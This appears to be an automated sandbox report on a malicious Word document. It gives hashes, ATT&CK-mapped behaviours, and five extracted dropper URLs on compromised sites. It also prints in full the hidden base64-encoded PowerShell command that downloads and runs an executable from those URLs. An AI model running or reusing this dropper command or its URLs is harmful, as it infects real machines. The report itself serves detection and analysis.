59359de277a6e873c36ee2c640983a5a1781ce3a2790dee6598f9ae531a67bc1

General

Target

59359de277a6e873c36ee2c640983a5a1781ce3a2790dee6598f9ae531a67bc1.doc
Size

177KB
MD5

77852f9e9c9d0c07abb6c758e940aa70
SHA1

b26d1e664953c9a3d1d34ea1d3dbd2a018e66231
SHA256

59359de277a6e873c36ee2c640983a5a1781ce3a2790dee6598f9ae531a67bc1
SHA512

d0975ac64f011efc25b71caec41daa96aa8ae3dea51ae85b12163172744ec06fb0d7ea4091e778bf5c3f1534b5cf5899a6af699aad3c85cd5f8064dd4bfd67ca
SSDEEP

3072:8f2y/GdynktGDWLS0HZWD5w8K7Nk96D7IBU/ZB0zstySfNllXe:8f2k43tGiL3HJk96D7bb0z0rllX

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://www.yadegarebastan.com/wp-content/mhear/

exe.dropper

http://bikerzonebd.com/wp-admin/89gw/

exe.dropper

http://shptoys.com/_old/bvGej/

exe.dropper

http://www.vestalicom.com/facturation/qgm0t/

exe.dropper

http://www.aliounendiaye.com/wp-content/f3hs6j/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4784	4304	Powershell.exe	82

Blocklisted process makes network request 4 IoCs

flow	pid	Process
25	4784	Powershell.exe
27	4784	Powershell.exe
31	4784	Powershell.exe
32	4784	Powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4784	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4532	WINWORD.EXE
4532	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4784	Powershell.exe
4784	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4784	Powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
4532	WINWORD.EXE
4532	WINWORD.EXE
4532	WINWORD.EXE
4532	WINWORD.EXE
4532	WINWORD.EXE
4532	WINWORD.EXE
4532	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4532 wrote to memory of 2264	4532	WINWORD.EXE	83
PID 4532 wrote to memory of 2264	4532	WINWORD.EXE	83

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\59359de277a6e873c36ee2c640983a5a1781ce3a2790dee6598f9ae531a67bc1.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4532
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2264

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABVAGwAegBiAHIAegB1AHQAaABjAGQAcQB6AD0AJwBGAGYAcgBlAHAAZwBxAGkAJwA7ACQAUABrAHoAbgBlAGQAdQB0AHIAIAA9ACAAJwAxADcANwAnADsAJABSAHkAdwB6AGMAdABpAGwAZgB6AGoAbgBlAD0AJwBSAGIAZABtAHQAYQBnAGMAeQAnADsAJABQAGgAYQBrAGkAcAB2AHQAYwBrAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABQAGsAegBuAGUAZAB1AHQAcgArACcALgBlAHgAZQAnADsAJABOAHIAcABkAGMAdgBiAHIAPQAnAFcAaAB6AGoAaQBuAGEAYwB2AHMAbgBrAGgAJwA7ACQAUQBxAHAAZwBwAHoAbgB1AGEAdABuAHAAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAG4ARQBUAC4AdwBFAEIAQwBMAGkARQBuAHQAOwAkAFMAYwB5AHAAZwBnAGcAbQBuAHYAbQB4AHMAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgB5AGEAZABlAGcAYQByAGUAYgBhAHMAdABhAG4ALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBtAGgAZQBhAHIALwAqAGgAdAB0AHAAOgAvAC8AYgBpAGsAZQByAHoAbwBuAGUAYgBkAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwA4ADkAZwB3AC8AKgBoAHQAdABwADoALwAvAHMAaABwAHQAbwB5AHMALgBjAG8AbQAvAF8AbwBsAGQALwBiAHYARwBlAGoALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgB2AGUAcwB0AGEAbABpAGMAbwBtAC4AYwBvAG0ALwBmAGEAYwB0AHUAcgBhAHQAaQBvAG4ALwBxAGcAbQAwAHQALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBhAGwAaQBvAHUAbgBlAG4AZABpAGEAeQBlAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AZgAzAGgAcwA2AGoALwAnAC4AIgBTAFAAYABMAEkAVAAiACgAJwAqACcAKQA7ACQARgBzAGgAeQBrAHYAeQBsAGEAZwByAD0AJwBXAG8AbQBtAGwAbAB1AHQAJwA7AGYAbwByAGUAYQBjAGgAKAAkAE8AdABsAHkAZQBjAHoAdQAgAGkAbgAgACQAUwBjAHkAcABnAGcAZwBtAG4AdgBtAHgAcwApAHsAdAByAHkAewAkAFEAcQBwAGcAcAB6AG4AdQBhAHQAbgBwAC4AIgBEAGAATwB3AG4AYABMAGAAbwBBAGQARgBJAEwAZQAiACgAJABPAHQAbAB5AGUAYwB6AHUALAAgACQAUABoAGEAawBpAHAAdgB0AGMAawApADsAJABMAG0AZgBhAGMAdwBvAGQAPQAnAE8AeABjAHQAdAB4AGEAeQB3AHkAZAByAHMAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABQAGgAYQBrAGkAcAB2AHQAYwBrACkALgAiAGwARQBOAGAAZwBUAEgAIgAgAC0AZwBlACAAMwA4ADcAMgA0ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAYABUAGEAcgB0ACIAKAAkAFAAaABhAGsAaQBwAHYAdABjAGsAKQA7ACQARgBhAHkAdgB2AHYAYgBwAHcAPQAnAFYAdgBwAG0AYwBnAHcAbwB6ACcAOwBiAHIAZQBhAGsAOwAkAFMAbwBsAHYAeABlAHoAdAB1AGgAdQB1AD0AJwBGAG8AZQBzAHYAbgB4AGgAcwBlAGQAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQQBrAHYAagBnAHcAbQBoAGoAawA9ACcAVwBwAGMAcgB5AGIAYQB5AHkAeABzAHIAdwAnAA==
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4784

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\4684687.wmf

Filesize
444B

MD5
0262fce0e345de43bd0f214bfa888392

SHA1
eff3cd8b41e79ab71d9ee997c18dc432bd47ac5f

SHA256
2bca72ef0a3094ee6646ec836114f9c93f79c565007f5ba8f4a60c70f0dc8a0d

SHA512
dcedf2f992f59e3fdcff08c33f98967199de0b83fd7efa685f4f5788aa0fcd080280904b8d4e556ce84c4fa9d4bb63373a5dd905ff4faa2a3506b21530d31192

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCDD0A9.tmp\sist02.xsl

Filesize
245KB

MD5
f883b260a8d67082ea895c14bf56dd56

SHA1
7954565c1f243d46ad3b1e2f1baf3281451fc14b

SHA256
ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

SHA512
d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r4wtqxx2.t4y.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4532-9-0x00007FFD96130000-0x00007FFD96325000-memory.dmp

Filesize
2.0MB

Download
memory/4532-7-0x00007FFD561B0000-0x00007FFD561C0000-memory.dmp

Filesize
64KB

Download
memory/4532-5-0x00007FFD96130000-0x00007FFD96325000-memory.dmp

Filesize
2.0MB

Download
memory/4532-0-0x00007FFD561B0000-0x00007FFD561C0000-memory.dmp

Filesize
64KB

Download
memory/4532-13-0x00007FFD96130000-0x00007FFD96325000-memory.dmp

Filesize
2.0MB

Download
memory/4532-14-0x00007FFD96130000-0x00007FFD96325000-memory.dmp

Filesize
2.0MB

Download
memory/4532-15-0x00007FFD53FF0000-0x00007FFD54000000-memory.dmp

Filesize
64KB

Download
memory/4532-12-0x00007FFD96130000-0x00007FFD96325000-memory.dmp

Filesize
2.0MB

Download
memory/4532-11-0x00007FFD96130000-0x00007FFD96325000-memory.dmp

Filesize
2.0MB

Download
memory/4532-10-0x00007FFD96130000-0x00007FFD96325000-memory.dmp

Filesize
2.0MB

Download
memory/4532-8-0x00007FFD96130000-0x00007FFD96325000-memory.dmp

Filesize
2.0MB

Download
memory/4532-6-0x00007FFD96130000-0x00007FFD96325000-memory.dmp

Filesize
2.0MB

Download
memory/4532-4-0x00007FFD561B0000-0x00007FFD561C0000-memory.dmp

Filesize
64KB

Download
memory/4532-16-0x00007FFD53FF0000-0x00007FFD54000000-memory.dmp

Filesize
64KB

Download
memory/4532-1-0x00007FFD961CD000-0x00007FFD961CE000-memory.dmp

Filesize
4KB

Download
memory/4532-2-0x00007FFD561B0000-0x00007FFD561C0000-memory.dmp

Filesize
64KB

Download
memory/4532-3-0x00007FFD561B0000-0x00007FFD561C0000-memory.dmp

Filesize
64KB

Download
memory/4532-68-0x00007FFD96130000-0x00007FFD96325000-memory.dmp

Filesize
2.0MB

Download
memory/4532-69-0x00007FFD961CD000-0x00007FFD961CE000-memory.dmp

Filesize
4KB

Download
memory/4532-70-0x00007FFD96130000-0x00007FFD96325000-memory.dmp

Filesize
2.0MB

Download
memory/4532-71-0x00007FFD96130000-0x00007FFD96325000-memory.dmp

Filesize
2.0MB

Download
memory/4784-58-0x0000020317460000-0x0000020317482000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads